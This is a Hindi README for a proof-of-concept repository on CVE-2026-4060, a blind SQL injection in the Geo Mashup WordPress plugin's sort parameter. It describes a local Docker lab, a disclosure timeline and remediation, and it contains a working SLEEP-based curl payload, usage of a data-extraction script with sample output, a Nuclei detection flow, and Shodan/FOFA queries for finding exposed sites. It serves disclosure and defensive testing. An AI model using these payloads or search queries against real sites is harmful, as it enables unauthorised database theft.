
CVE-2026-4060 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन Geo Mashup WordPress प्लगइन में ORDER BY खंड के माध्यम से। इसमें एक्सप्लॉइट स्क्रिप्ट, लैब वातावरण और Nuclei डिटेक्शन टेम्पलेट शामिल हैं।
अप्रमाणित हमलावर Geo Mashup के
render-mapएंडपॉइंट केsortपैरामीटर के माध्यम सेORDER BYक्लॉज में मनमाना SQL इंजेक्ट कर सकते हैं, जिससे संवेदनशील डेटाबेस जानकारी का टाइम-बेस्ड ब्लाइंड एक्सट्रैक्शन संभव होता है।
render-map एंडपॉइंट द्वारा स्वीकार किया गया sort पैरामीटर बिना सैनिटाइजेशन के सीधे $wpdb->get_results() कॉल में पास किया जाता है:
// render-map.php (सरलीकृत)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
चूंकि $sort को यथावत इंटरपोलेट किया जाता है, एक हमलावर ORDER BY क्लॉज में एक सबक्वेरी इंजेक्ट कर सकता है। WordPress का wpdb सिंगल कोट्स को एस्केप करता है, इसलिए PoC इस प्रतिबंध को बायपास करने और टाइम-बेस्ड ब्लाइंड एक्सट्रैक्शन करने के लिए ORD(SUBSTRING(...)) के साथ संख्यात्मक तुलना का उपयोग करता है।
भेद्य एंडपॉइंट:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ होस्ट (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 वर्डप्रेस एडमिन में सक्रिय:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh निम्नलिखित करेगा:
एक बार पूरा होने पर:
http://localhost:8080http://localhost:8080/wp-admin (उपयोगकर्ता: admin / पासवर्ड: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
लगभग 8 सेकंड की प्रतिक्रिया देरी ORDER BY SQL इंजेक्शन की पुष्टि करती है।
# डिफ़ॉल्ट — केवल निकाले गए परिणाम प्रिंट करें
python3 poc.py --url http://localhost:8080
# वर्बोज़ — प्रत्येक पेलोड, प्रतिक्रिया समय और निकाला गया अक्षर दिखाएं
python3 poc.py --url http://localhost:8080 --verbose
# केवल SQLi की पुष्टि करें, डेटा निकासी छोड़ें
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
sort पैरामीटर के माध्यम से SLEEP(8) सबक्वेरी इंजेक्ट करने से लगभग 8 सेकंड की प्रतिक्रिया देरी उत्पन्न होती है।
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

PoC ORD(SUBSTRING(...)) तुलनाओं का उपयोग करके अक्षर दर अक्षर डेटा निकालता है: पेलोड भेजें → प्रतिक्रिया समय मापें → जब SLEEP फायर हो तो अक्षर की पुष्टि करें।
python3 poc.py --url http://localhost:8080 --verbose

निकाला गया डेटा:
| प्रश्न | परिणाम |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Nuclei टेम्पलेट गलत सकारात्मक को रोकने के लिए दो-चरणीय प्रवाह का उपयोग करता है।
यदि चरण 1 में readme.txt 404 लौटाता है, तो स्कैन SQL पेलोड भेजे बिना तुरंत बाहर निकल जाता है।
Scan completed in 62ms. 0 matches found. ✅
readme.txt के माध्यम से प्लगइन संस्करण जांच:

यदि compare_versions(version, '<= 1.13.18') विफल होता है, तो चरण 2 पूरी तरह से छोड़ दिया जाता है।
Scan completed in 19ms. 0 matches found. ✅
| कार्रवाई | विवरण |
|---|---|
| अपडेट करें | Geo Mashup को 1.13.19 या उसके बाद के संस्करण में अपग्रेड करें |
| अस्थायी | अपडेट लागू होने तक प्लगइन को निष्क्रिय करें |
पैच कमिट: plugins.trac.wordpress.org/changeset/3503627
Nuclei टेम्पलेट: nuclei/CVE-2026-4060.yaml
पहचान प्रवाह:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| तिथि | घटना |
|---|---|
| 2026-04 | भेद्यता की खोज |
| 2026-04 | प्लगइन लेखक को रिपोर्ट किया |
| 2026-05 | Geo Mashup 1.13.19 पैच जारी |
| 2026-05-14 | CVE निर्धारित और सार्वजनिक रूप से प्रकट |
यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
उन प्रणालियों के खिलाफ उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
लेखक इस सामग्री के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
| क्षेत्र | विवरण |
|---|
| CVE | CVE-2026-4060 |
| प्लगइन | Geo Mashup साइबरहोबो द्वारा |
| प्रभावित संस्करण | ≤ 1.13.18 |
| समाधान संस्करण | 1.13.19 |
| CVSS v3.1 | 7.5 (उच्च) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — SQL में विशेष तत्वों का अनुचित निष्प्रभावीकरण |
| प्रमाणीकरण आवश्यक | कोई नहीं (अप्रमाणित) |
| घटक | संस्करण |
|---|
| OS | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (भेद्य) |
| Python | 3.x (poc.py के लिए) |
| Nuclei | v3.8.0 |
ORDER BY क्लॉज में सबक्वेरी इंजेक्शन पैटर्न को ब्लॉक करें |